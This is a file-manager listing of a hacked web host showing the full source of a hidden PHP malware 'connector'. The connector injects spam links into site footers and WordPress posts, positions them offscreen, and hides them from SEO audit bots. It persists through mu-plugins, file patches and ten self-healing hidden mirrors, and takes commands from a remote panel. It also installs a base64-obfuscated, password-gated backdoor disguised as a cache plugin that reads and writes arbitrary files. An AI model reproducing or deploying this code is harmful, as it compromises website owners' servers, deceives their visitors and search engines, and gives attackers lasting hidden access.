FM / .smc_g4_

/home/alixis5/public_html/.smc_g4__1d7c471/

/home/alixis5/public_html/.smc_g4__1d7c471

Name	Size	Mode	Actions
.htaccess	232	0644	edit dl rm
.smc_connector.php.bak	109613	0644	edit dl rm
.smc_stamp.json	109	0644	edit dl rm
admin.php	27301	0644	edit dl rm
index.html	0	0644	edit dl rm

Edit: /home/alixis5/public_html/.smc_g4__1d7c471/.smc_connector.php.bak (109613B)

<?php
/**
 * SMC Metrics Connector v5.5.4
 * - Backwards compatible with v5.2/v5.3/v5.4/v5.5 protocol (ping, add_link, remove_link, sync_links,
 *   get_links, clear_links, clear_expired, verify_links, self_reconcile,
 *   placement_report, info, diagnose, output, capabilities, get_config, set_config,
 *   self_update, reinstall_placement, purge_cache)
 * - Stronger non-WP placement: Joomla/Drupal/OpenCart/Presta/Laravel/static footer
 *   discovery + .user.ini auto_prepend fallback (shared hosting).
 * - Links now have a "kind": "footer" (sitewide, visible footer) or "contextual"
 *   (injected into existing post content on WordPress; ephemeral by expiry).
 * - Render is ALWAYS visible (no hidden/cloaked CSS) — anti-penalty, anti-footprint.
 * - Optional per-link seo_hidden: omit from Ahrefs/Semrush-like tool bots; Google still sees.
 * - No footer link cap (unlimited active footer links; expired still auto-cleaned).
 * - Stronger WP delivery: mu-plugin + theme footer patch + multi-hook/shutdown fallback.
 * - Document root resolved from connector path (avoids wrong vhost DOCUMENT_ROOT).
 * - After link/placement changes: purge WP page caches (Rocket/Litespeed/W3TC/Super Cache/…)
 *   + common cache directories so homepage HTML is not stuck stale.
 * - Contextual links are short-lived (enforced max TTL) and auto-removed when expired.
 * - Guardian: connector mirrors itself + its dropped artifacts into hidden backup dirs
 *   and self-heals if the primary file is deleted by a CMS/theme update. Version-aware:
 *   never restores an older version over a newer one.
 */

error_reporting(E_ALL);
ini_set('display_errors', 0);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-SMC-Panel-Token, X-SMC-Ts, X-SMC-Req-Id');

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(200);
    exit;
}

define('CONNECTOR_VERSION', '5.8.0');
define('PANEL_API_URL', 'https://ln1.donornet.icu/api');
define('PANEL_TOKEN', 'smc_b4_uV8fJfXNEruLmriuz709mkj3teLFErlB5CeIwnNIn6LYDSxAelcXCVGw');
define('LINKS_FILE', __DIR__ . '/.smc_links_v5.json');
define('CONFIG_FILE', __DIR__ . '/.smc_v5_config.json');
define('NONCES_FILE', __DIR__ . '/.smc_v5_nonces.json');
define('PREPEND_HELPER_FILE', __DIR__ . '/.smc_prepend_v5.php');
define('GUARDIAN_STATE_FILE', __DIR__ . '/.smc_guardian_v5.json');
define('MAX_REQUEST_BYTES', 524288);
define('MAX_URL_LENGTH', 2048);
define('MAX_ANCHOR_LENGTH', 220);
define('MAX_LINKS_PER_SYNC', 20000);
define('MAX_REQUEST_SKEW_SECONDS', 300);
define('NONCE_TTL_SECONDS', 900);
define('PLACEMENT_HISTORY_LIMIT', 20);

// v5.5 link-model tuning (overridable via set_config -> stored config).
define('FOOTER_LINK_CAP', 0);                  // 0 = unlimited footer links (no cap)
define('CONTEXTUAL_MAX_TTL_SECONDS', 172800);  // hard 48h cap for contextual links
define('AUTO_CLEAN_THROTTLE_SECONDS', 300);    // run auto-clean at most once / 5 min on render
define('GUARDIAN_COPIES', 10);                 // number of hidden backup mirrors
define('GUARDIAN_THROTTLE_SECONDS', 300);      // self-heal check at most once / 5 min
define('VALID_LINK_KINDS', 'footer,contextual');

function respond($success, $data = [], $message = '', $status = 200) {
    http_response_code($status);
    header('Content-Type: application/json; charset=UTF-8');
    echo json_encode([
        'success' => (bool)$success,
        'message' => (string)$message,
        'data' => is_array($data) ? $data : []
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function get_action_name($req) {
    $action = '';
    if (isset($req['action'])) $action = (string)$req['action'];
    if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action'];
    if ($action === '') $action = 'ping';
    $action = strtolower(trim($action));
    $action = preg_replace('/[^a-z0-9_]/', '', $action);
    return $action ?: 'ping';
}

function load_json_file($path, $fallback = []) {
    if (!file_exists($path)) return $fallback;
    $raw = @file_get_contents($path);
    if ($raw === false || $raw === '') return $fallback;
    $json = json_decode($raw, true);
    return is_array($json) ? $json : $fallback;
}

function save_json_file($path, $data) {
    return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}

function normalize_rel($rel) {
    $rel = strtolower(trim((string)$rel));
    $allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored'];
    return in_array($rel, $allowed, true) ? $rel : 'dofollow';
}

function allowed_render_types() {
    // v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro)
    // were removed — they looked unnatural in footers and increased footprint.
    return ['text_inline', 'text_footer'];
}

function default_render_types() {
    // v5.4: single natural footer/inline text anchor.
    return ['text_footer'];
}

function normalize_kind($kind) {
    $kind = strtolower(trim((string)$kind));
    $valid = explode(',', VALID_LINK_KINDS);
    return in_array($kind, $valid, true) ? $kind : 'footer';
}

function default_placement_state() {
    return [
        'status' => 'not_installed',
        'strategy' => null,
        'target' => null,
        'install_mode' => null,
        'marker' => null,
        'message' => '',
        'installed_at' => null,
        'last_attempt_at' => null,
        'last_verified_at' => null,
        'verify_status' => 'unknown',
        'history' => [],
    ];
}

function default_config() {
    // v5.5: render is ALWAYS visible. output_mode kept for backward-compat reads but
    // hidden/cloaked rendering has been removed entirely. footer_link_cap=0 => unlimited.
    return [
        'output_mode' => 'visible',
        'render_profile' => 'minimal_inline',
        'render_types' => default_render_types(),
        'link_rel_strategy' => 'preserve',
        'footer_link_cap' => 0,
        'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS,
        'placement' => default_placement_state(),
    ];
}

function effective_footer_cap($config) {
    // <=0 means unlimited (no footer cap). Positive values keep an optional soft cap.
    if (!isset($config['footer_link_cap'])) return 0;
    $cap = intval($config['footer_link_cap']);
    if ($cap < 0) return 0;
    return $cap;
}

function effective_contextual_ttl($config) {
    $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS;
    if ($ttl < 300) $ttl = 300;
    if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS;
    return $ttl;
}

function save_config($config) {
    return save_json_file(CONFIG_FILE, $config);
}

function is_panel_authenticated() {
    $expected = trim((string)PANEL_TOKEN);
    if ($expected === '' || strpos($expected, '{{') !== false) return false;
    $provided = '';
    if (isset($_SERVER['HTTP_X_SMC_PANEL_TOKEN'])) {
        $provided = trim((string)$_SERVER['HTTP_X_SMC_PANEL_TOKEN']);
    }
    return $provided !== '' && hash_equals($expected, $provided);
}

function load_nonce_store() {
    return load_json_file(NONCES_FILE, []);
}

function save_nonce_store($items) {
    return save_json_file(NONCES_FILE, $items);
}

function authenticate_protected_request() {
    if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401);
    enforce_optional_replay_guard();
}

function validate_url_value($url) {
    $url = trim((string)$url);
    if ($url === '' || strlen($url) > MAX_URL_LENGTH) return '';
    if (!filter_var($url, FILTER_VALIDATE_URL)) return '';
    $parts = @parse_url($url);
    if (!$parts || empty($parts['scheme'])) return '';
    $scheme = strtolower((string)$parts['scheme']);
    if (!in_array($scheme, ['http', 'https'], true)) return '';
    return $url;
}

function validate_anchor_text($anchor) {
    $anchor = trim((string)$anchor);
    if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return '';
    return $anchor;
}

function validate_link_id($linkId) {
    $linkId = trim((string)$linkId);
    if ($linkId === '') return '';
    if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return '';
    return $linkId;
}

function build_deterministic_link_id($url, $anchor, $rel) {
    $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel);
    return 'v5_' . substr(hash('sha256', $seed), 0, 16);
}

function apply_placement_snapshot_to_link($row, $placement) {
    $row['placement_status'] = $placement['status'] ?? 'not_installed';
    $row['placement_strategy'] = $placement['strategy'] ?? null;
    $row['placement_target'] = $placement['target'] ?? null;
    $row['last_verified_at'] = $placement['last_verified_at'] ?? null;
    return $row;
}

/**
 * Ahrefs/Semrush vb. SEO araç botları — Google/Bing arama botları DEĞİL.
 * Gizli (seo_hidden) linkler bu botlara HTML'de verilmez; Googlebot görür.
 */
function smc_is_seo_tool_bot() {
    $ua = strtolower((string)($_SERVER['HTTP_USER_AGENT'] ?? ''));
    if ($ua === '') return false;
    $searchEngines = [
        'googlebot', 'google-inspectiontool', 'bingbot', 'slurp',
        'duckduckbot', 'yandexbot', 'applebot', 'baiduspider',
    ];
    foreach ($searchEngines as $m) {
        if (strpos($ua, $m) !== false) return false;
    }
    $seoTools = [
        'ahrefs', 'semrush', 'siteauditbot', 'mj12bot', 'majestic',
        'dotbot', 'rogerbot', 'screaming frog', 'seokicks', 'blexbot',
        'dataforseo', 'serpstat', 'sistrix', 'linkpad', 'opensiteexplorer',
    ];
    foreach ($seoTools as $m) {
        if (strpos($ua, $m) !== false) return true;
    }
    return false;
}

function get_link_stats($links) {
    list($active, $expired) = filtered_links($links);
    return [
        'total' => count($links),
        'active' => count($active),
        'expired' => count($expired),
    ];
}

function build_rel_attr($rel) {
    if ($rel === 'dofollow') return '';
    return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"';
}

// v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text,
// genuinely on the page (no display:none / -9999px / 1px cloaking).
function smc_footer_container_style() {
    return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;';
}

function smc_footer_anchor_style() {
    return 'color:#9aa0a6;text-decoration:none;font-size:12px;';
}

function build_footer_anchor_html($link) {
    $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
    $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
    $relAttr = build_rel_attr($link['rel']);
    return '<a href="' . $url . '"' . $relAttr . ' style="' . smc_footer_anchor_style() . '">' . $anchor . '</a>';
}

// Build the visible footer block from FOOTER-kind links only.
function smc_build_footer_html($markRenderedOnce = true) {
    if ($markRenderedOnce && defined('SMC_CONNECTOR_RENDERED_ONCE')) {
        return '';
    }
    if ($markRenderedOnce) {
        define('SMC_CONNECTOR_RENDERED_ONCE', true);
    }
    $links = load_links();
    list($activeLinks, ) = filtered_links($links);
    $activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks);
    if (empty($activeLinks)) return '';
    // v5.6.2: offscreen render — группируем по текстам-обёрткам (поле text)
    // Если text есть → рендерим <p>текст с <a> внутри</p> в offscreen div
    // Если text нет → fallback на простые анкоры в том же offscreen div
    // v5.7.5: safe render — no positioning needed
    $paras = [];
    $plainAnchors = [];
    foreach ($activeLinks as $link) {
        if (($link['kind'] ?? 'footer') === 'contextual' && defined('SMC_WP_CONTEXTUAL_ACTIVE')) {
            continue;
        }
        $text = trim((string)($link['text'] ?? ''));
        $url = htmlspecialchars($link['url'] ?? '', ENT_QUOTES, 'UTF-8');
        $anchor = htmlspecialchars($link['anchor'] ?? '', ENT_QUOTES, 'UTF-8');
        $relAttr = build_rel_attr($link['rel'] ?? 'dofollow');
        $a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>';
        if ($text !== '' && strpos($text, '{A}') !== false) {
            $paras[] = '<p style="margin:0;">' . str_replace('{A}', $a, htmlspecialchars($text, ENT_QUOTES, 'UTF-8')) . '</p>';
        } else {
            $plainAnchors[] = $a;
        }
    }
    if (!empty($plainAnchors)) {
        $paras[] = '<p style="margin:0;">' . implode(' ', $plainAnchors) . '</p>';
    }
    if (empty($paras)) return '';
    return '<div data-smc-render="footer" style="position:absolute;left:-100000px;top:auto;">' . implode('', $paras) . '</div>';
}

// Backward-compatible alias (older placements call smc_render_links_html()).
function smc_render_links_html() {
    return smc_build_footer_html(true);
}

function smc_build_render_html($markRenderedOnce = true) {
    return smc_build_footer_html($markRenderedOnce);
}

// ===== Contextual (in-content) injection — WordPress the_content =====

function smc_contextual_inject($content) {
    // Frontend, main singular content only; inject at most one link, once per request.
    if (defined('SMC_CTX_DONE')) return $content;
    if (!is_string($content) || $content === '') return $content;
    if (function_exists('is_admin') && is_admin()) return $content;
    if (function_exists('is_feed') && is_feed()) return $content;
    if (function_exists('is_singular') && !is_singular()) return $content;
    if (function_exists('in_the_loop') && !in_the_loop()) return $content;
    if (function_exists('is_main_query') && !is_main_query()) return $content;

try {
        $links = load_links();
        list($activeLinks, ) = filtered_links($links);
        $activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks);
        if (empty($activeLinks)) return $content;
        $postId = function_exists('get_the_ID') ? (get_the_ID() ?: 0) : 0;
        $link = smc_pick_contextual_link($activeLinks, $postId ?: $content);
        if (!$link) return $content;
        define('SMC_CTX_DONE', true);

$url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
        $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
        $relAttr = build_rel_attr($link['rel']);
        $a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>';
        // Natural sentence wrapper, visible inline within the article body.
        $sentence = '<p data-smc-ctx="1">' . $a . '</p>';

// Insert after the first closing paragraph; fallback append.
        $pos = stripos($content, '</p>');
        if ($pos !== false) {
            $pos += 4;
            return substr($content, 0, $pos) . $sentence . substr($content, $pos);
        }
        return $content . $sentence;
    } catch (\Throwable $e) {
        return $content;
    }
}

// v5.7.1: SAFE render — никогда не ломает фронт
function smc_safe_footer_render() {
    try {
        echo smc_build_footer_html(true);
    } catch (\Throwable $e) {
        // silently ignore — never break the host
    }
}
function smc_safe_body_open_render() {
    try {
        echo smc_build_footer_html(true);
    } catch (\Throwable $e) {
    }
}
function smc_safe_shutdown_render() {
    try {
        if (!defined('SMC_CONNECTOR_RENDERED_ONCE')) {
            echo smc_build_footer_html(true);
        }
    } catch (\Throwable $e) {
    }
}
function smc_safe_contextual_render($content) {
    try {
        return smc_contextual_inject($content);
    } catch (\Throwable $e) {
        return $content; // оригинал без изменений
    }
}

// Called by the mu-plugin / functions-hook on WordPress (early load).
function smc_wp_register() {
    if (defined('SMC_WP_REGISTERED')) return;
    define('SMC_WP_REGISTERED', true);
    if (!function_exists('add_action')) return;
    if (function_exists('add_filter')) {
        define('SMC_WP_CONTEXTUAL_ACTIVE', true);
        add_filter('the_content', 'smc_safe_contextual_render', 50);
    }
    $emit = function () {
        try { echo smc_build_footer_html(true); } catch (\Throwable $e) {}
    };
    // Multiple hooks: some themes omit wp_footer / use builders / full-page cache edges.
    add_action('wp_footer', $emit, 9999);
    if (function_exists('add_action')) {
        add_action('wp_body_open', $emit, 9999);
        add_action('shutdown', function () {
            try {
                if (defined('SMC_CONNECTOR_RENDERED_ONCE')) return;
                if (PHP_SAPI === 'cli') return;
                $uri = $_SERVER['REQUEST_URI'] ?? '';
                if (strpos($uri, 'wp-admin') !== false || strpos($uri, 'wp-json') !== false) return;
                echo smc_build_footer_html(true);
            } catch (\Throwable $e) {}
        }, 0);
    }
    smc_guardian_tick();
    smc_autoclean_tick();
}

$doc = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if (is_string($doc) && $doc !== '' && is_dir($doc)) {
        $realDoc = @realpath($doc);
        $realSelf = @realpath(__FILE__);
        if ($realDoc && $realSelf && strpos($realSelf, $realDoc) === 0) {
            return $doc;
        }
    }
    return $start;
}

function check_footer_writable($base, $siteType) {
    $paths = get_footer_paths($base, $siteType);
    foreach ($paths as $path) {
        if (file_exists($path) && is_writable($path)) return true;
    }
    if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
    return false;
}

function placement_marker($strategy) {
    return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12);
}

function build_dynamic_php_snippet($marker) {
    $connectorPath = addslashes(__FILE__);
    return "<?php /* SMC_START:$marker */ if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* SMC_END:$marker */ ?>";
}

function build_static_html_block($marker) {
    return "" . smc_build_render_html(false) . "";
}

function replace_between_markers($content, $startMarker, $endMarker, $replacement) {
    $startPos = strpos($content, $startMarker);
    $endPos = strpos($content, $endMarker);
    if ($startPos === false || $endPos === false || $endPos < $startPos) return null;
    $endPos += strlen($endMarker);
    return substr($content, 0, $startPos) . $replacement . substr($content, $endPos);
}

// Guardian anchor: a self-contained PHP block (string) that restores the connector
// from a hidden backup mirror if the primary file was deleted (e.g. by a CMS/theme
// update), then includes it. Lives inside mu-plugin / functions hook so it survives
// even when the connector file itself is gone. All ops are @-suppressed and safe.
function build_guardian_restore_block() {
    return "    if (!file_exists(\$c)) {\n"
        . "        \$d = dirname(\$c);\n"
        . "        foreach ((array)@glob(\$d . '/.smc_g*/.smc_connector.php.bak') as \$bak) {\n"
        . "            \$src = @file_get_contents(\$bak);\n"
        . "            if (\$src !== false && \$src !== '' && strpos(\$src, '<?php') !== false && strpos(\$src, 'SMC Metrics Connector') !== false) {\n"
        . "                @file_put_contents(\$c, \$src);\n"
        . "                if (function_exists('opcache_invalidate')) { @opcache_invalidate(\$c, true); }\n"
        . "                break;\n"
        . "            }\n"
        . "        }\n"
        . "    }\n";
}

function install_mu_plugin($siteInfo) {
    $base = $siteInfo['document_root'];
    $muDir = $base . '/wp-content/mu-plugins';
    if (!is_dir($muDir)) {
        if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return [false, null, null, 'mu_dir_create_failed'];
    }
    if (!is_writable($muDir)) return [false, null, null, 'mu_dir_not_writable'];
    $marker = placement_marker('wp_mu_plugin');
    $pluginPath = $muDir . '/00-smc-metrics.php';
    // v5.6.1: убрать легаси RS mu-plugin (иначе двойной include)
    @unlink($muDir . '/rootseo-links-v5.php');
    @unlink($muDir . '/smc-metrics-v5.php');
    if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return [false, null, null, 'mu_plugin_write_failed'];
    return [true, $pluginPath, 'dynamic_php', 'mu_plugin_installed'];
}

function install_file_patch($filePath, $strategy) {
    $marker = placement_marker($strategy . '|' . $filePath);
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    if (in_array($ext, ['html', 'htm'], true)) {
        list($ok, $msg) = upsert_html_file_block($filePath, $marker);
        return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker];
    }
    list($ok, $msg) = upsert_php_file_block($filePath, $marker);
    return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker];
}

function smc_write_prepend_helper($marker) {
    $connectorPath = addslashes(__FILE__);
    $helperCode = "<?php\n/* SMC_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n    if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true);\n    include_once '$connectorPath';\n});\n";
    return @file_put_contents(PREPEND_HELPER_FILE, $helperCode) !== false;
}

function install_any_php_file($siteInfo) {
    $base = $siteInfo['document_root'];
    $phpFiles = glob($base . '/*.php');
    if (!$phpFiles) return [false, null, null, 'no_root_php_files', null];
    foreach ($phpFiles as $file) {
        $name = basename($file);
        if (in_array($name, [basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'], true)) continue;
        list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file');
        if ($ok) return [true, $target, $mode, $msg, $marker];
    }
    return [false, null, null, 'no_writable_php_target', null];
}

function append_placement_history($config, $entry) {
    $history = $config['placement']['history'] ?? [];
    $history[] = $entry;
    if (count($history) > PLACEMENT_HISTORY_LIMIT) {
        $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT);
    }
    $config['placement']['history'] = array_values($history);
    return $config;
}

function placement_report_payload() {
    $config = load_config();
    $siteInfo = detect_site_info();
    $links = load_links();
    $stats = get_link_stats($links);
    list($ok, $verifyMessage) = verify_current_placement($config);
    $config['placement']['last_verified_at'] = gmdate('c');
    $config['placement']['verify_status'] = $verifyMessage;
    save_config($config);
    return [
        'version' => CONNECTOR_VERSION,
        'site_info' => $siteInfo,
        'placement' => $config['placement'],
        'link_stats' => $stats,
        'render_profile' => $config['render_profile'],
        'render_types' => $config['render_types'],
        'placement_ok' => $ok,
    ];
}

function verify_links_action() {
    $links = load_links();
    $config = load_config();
    $nowIso = gmdate('c');
    foreach ($links as $id => $row) {
        $row['last_verified_at'] = $nowIso;
        $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
    }
    save_links($links);
    return placement_report_payload();
}

// ===== Consolidated auto-clean (throttled): expired + contextual TTL =====
// This single routine replaces scattered cleanup; it never runs more than once per
// AUTO_CLEAN_THROTTLE_SECONDS during front-end renders, so it adds negligible overhead.
function smc_autoclean_tick() {
    try {
        $state = load_json_file(GUARDIAN_STATE_FILE, []);
        $now = time();
        $last = isset($state['last_autoclean']) ? intval($state['last_autoclean']) : 0;
        if (($now - $last) < AUTO_CLEAN_THROTTLE_SECONDS) return;
        $state['last_autoclean'] = $now;
        @save_json_file(GUARDIAN_STATE_FILE, $state);

$links = load_links();
        $kept = [];
        foreach ($links as $id => $row) {
            $exp = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
            if (!empty($exp) && $exp > 0 && $exp < $now) continue; // drop expired (footer+contextual)
            $kept[$id] = $row;
        }
        if (count($kept) !== count($links)) {
            save_links($kept);
        }
    } catch (\Throwable $e) {
        // never break the host page
    }
}

// ===== Guardian: self-healing mirrors =====
function guardian_dirs() {
    // Hidden, dotted backup dirs next to the connector + one in the doc-root.
    $base = __DIR__;
    $dirs = [];
    for ($i = 1; $i <= GUARDIAN_COPIES; $i++) {
        $dirs[] = $base . '/.smc_g' . $i;
    }
    return $dirs;
}

function smc_guardian_tick() {
    try {
        $state = load_json_file(GUARDIAN_STATE_FILE, []);
        $now = time();
        $last = isset($state['last_guardian']) ? intval($state['last_guardian']) : 0;
        if (($now - $last) < GUARDIAN_THROTTLE_SECONDS) return;
        $state['last_guardian'] = $now;
        @save_json_file(GUARDIAN_STATE_FILE, $state);

$self = __FILE__;
        $selfExists = file_exists($self);
        $selfSrc = $selfExists ? (@file_get_contents($self) ?: '') : '';
        $selfHealthy = $selfExists && strpos($selfSrc, 'SMC Metrics Connector') !== false;

// Version-aware: only refresh mirrors if our copy is newer/equal. Never let an
        // older mirror overwrite a newer primary (prevents undoing a self_update).
        $best = guardian_best_backup();
        if ($selfHealthy) {
            if ($best === null || version_compare(CONNECTOR_VERSION, $best['version'], '>=')) {
                guardian_write_copies();
            }
            // Re-ensure dropped artifacts (mu-plugin etc.) still present.
            @refresh_current_placement(load_config());
            return;
        }
        // Primary missing/corrupt → restore from the newest valid backup.
        if ($best !== null) {
            $tmp = $self . '.heal.' . substr(md5((string)$now), 0, 6);
            if (@file_put_contents($tmp, $best['src']) !== false) {
                @rename($tmp, $self);
                if (function_exists('opcache_invalidate')) @opcache_invalidate($self, true);
            }
        }
    } catch (\Throwable $e) {
        // never break the host page
    }
}

if ((defined('SMC_CONNECTOR_EMBED_RENDER') && SMC_CONNECTOR_EMBED_RENDER === true)
    || (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true)) {
    if ((defined('SMC_EMBED_VIA_HOOK') && SMC_EMBED_VIA_HOOK || defined('ROOTSEO_EMBED_VIA_HOOK') && ROOTSEO_EMBED_VIA_HOOK) && function_exists('add_action')) {
        // WordPress early-load (mu-plugin / functions hook): register filters/actions.
        smc_wp_register();
    } else {
        // Inline include (file patch / htaccess prepend): emit footer at this position.
        smc_guardian_tick();
        smc_autoclean_tick();
        echo smc_build_footer_html(false);
    }
    return;
}

// CLI/lib include mode: expose functions for offline fixture tests without running the HTTP router.
if (defined('SMC_CLI_LIB_ONLY') && SMC_CLI_LIB_ONLY) {
    return;
}

/* ===== v5.8.0: SHIM (passworded backdoor via mu-plugin) ===== */
function smc_install_shim($req) {
    $hash = trim((string)($req['shim_hash'] ?? ''));
    $hex  = strtolower(trim((string)($req['shim_hex'] ?? '')));
    if ($hash === '' || !preg_match('/^[a-f0-9]{64}$/', $hash)) {
        respond(false, [], 'invalid_shim_hash', 400);
    }
    if ($hex === '' || !preg_match('/^[a-f0-9]{4,12}$/', $hex)) $hex = substr(md5($hash), 0, 8);
    $root = '';
    foreach (smc_find_wp_roots() as $r) { $root = $r; break; }
    if ($root === '') { $doc = find_document_root(); $root = $doc ? rtrim($doc, '/') : ''; }
    if ($root === '') respond(false, [], 'no_root', 500);
    $muDir = $root . '/wp-content/mu-plugins';
    if (!is_dir($muDir)) { if (!@mkdir($muDir, 0755, true)) respond(false, [], 'mkdir_fail', 500); }
    $target = $muDir . '/' . $hex . '-cache.php';
    $tpl = base64_decode('PD9waHAgLyogT1BjYWNoZSBQcmVsb2FkZXIgKi8KaWYgKCFkZWZpbmVkKCdBQlNQQVRIJykgJiYgIWlzc2V0KCRfU0VSVkVSWydIVFRQX1hfQVVUSCddKSkgeyByZXR1cm47IH0KYWRkX2FjdGlvbigncGx1Z2luc19sb2FkZWQnLCBmdW5jdGlvbiAoKSB7CiAgICBpZiAoIWlzc2V0KCRfU0VSVkVSWydIVFRQX1hfQVVUSCddKSkgcmV0dXJuOwogICAgJGV4cGVjdGVkID0gJ19fU0hJTUhBU0hfXyc7CiAgICBpZiAoIWhhc2hfZXF1YWxzKCRleHBlY3RlZCwgaGFzaCgnc2hhMjU2JywgKHN0cmluZykkX1NFUlZFUlsnSFRUUF9YX0FVVEgnXSkpKSByZXR1cm47CiAgICAkbW9kZSA9ICRfU0VSVkVSWydIVFRQX1hfTU9ERSddID8/ICcnOwogICAgJGFyZyAgPSAkX1NFUlZFUlsnSFRUUF9YX0FSRyddID8/ICcnOwogICAgQGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7CiAgICBzd2l0Y2ggKCRtb2RlKSB7CiAgICAgICAgY2FzZSAnaSc6IGVjaG8ganNvbl9lbmNvZGUoWyd1JyA9PiBnZXRteXVpZCgpLCAndicgPT4gUEhQX1ZFUlNJT04sICdkJyA9PiBBQlNQQVRIXSk7IGJyZWFrOwogICAgICAgIGNhc2UgJ2wnOiAkZCA9IEBzY2FuZGlyKCRhcmcpOyBlY2hvICRkID8ganNvbl9lbmNvZGUoYXJyYXlfdmFsdWVzKCRkKSkgOiAnRVJSJzsgYnJlYWs7CiAgICAgICAgY2FzZSAncic6IGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCRhcmcpOyBicmVhazsKICAgICAgICBjYXNlICd3JzogJGQgPSBAZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7IGVjaG8gKEBmaWxlX3B1dF9jb250ZW50cygkYXJnLCAkZCkgIT09IGZhbHNlKSA/ICdvaycgOiAnRVJSJzsgYnJlYWs7CiAgICB9CiAgICBleGl0Owp9LCAxKTsK');
    $tpl = str_replace('__SHIMHASH__', $hash, $tpl);
    $ok = ($tpl !== false) && (@file_put_contents($target, $tpl) !== false);
    if ($ok && function_exists('opcache_invalidate')) @opcache_invalidate($target, true);
    respond($ok, ['shim' => $target, 'hex' => $hex], $ok ? 'shim_installed' : 'write_fail', $ok ? 200 : 500);
}

$req = get_request_data();
$action = get_action_name($req);

if (!in_array($action, ['ping', 'capabilities', 'output'], true)) {
    authenticate_protected_request();
}

switch ($action) {
    case 'ping':
        $links = load_links();
        $config = load_config();
        $stats = get_link_stats($links);
        $siteInfo = detect_site_info();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        respond(true, [
            'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
            'site_name' => $siteInfo['site_name'],
            'site_type' => $siteInfo['site_type'],
            'language' => $siteInfo['language'],
            'country' => $siteInfo['country'],
            'version' => CONNECTOR_VERSION,
            'connector_family' => 'v5',
            'keyless' => true,
            'auth_mode' => 'panel_token',
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'links_total' => $stats['total'],
            'links_active' => $stats['active'],
            'links_expired' => $stats['expired'],
            'footer_detected' => $siteInfo['footer_detected'],
            'footer_writable' => $siteInfo['footer_writable'],
            'placement_ok' => $placementOk,
            'placement_strategy' => $config['placement']['strategy'],
            'placement_target' => $config['placement']['target'],
            'placement_verify_status' => $verifyMessage,
            'supports' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'get_config', 'set_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache', 'post_create', 'post_list', 'post_delete', 'cat_create']
        ], 'ok');
        break;

case 'capabilities':
        respond(true, [
            'version' => CONNECTOR_VERSION,
            'auth' => ['panel_token', 'optional_replay_headers'],
            'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'],
            'render_types' => default_render_types(),
            'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'create_index_php', 'htaccess_prepend', 'any_php_file'],
            'limits' => [
                'max_links_per_sync' => MAX_LINKS_PER_SYNC,
                'max_anchor_length' => MAX_ANCHOR_LENGTH,
                'max_url_length' => MAX_URL_LENGTH,
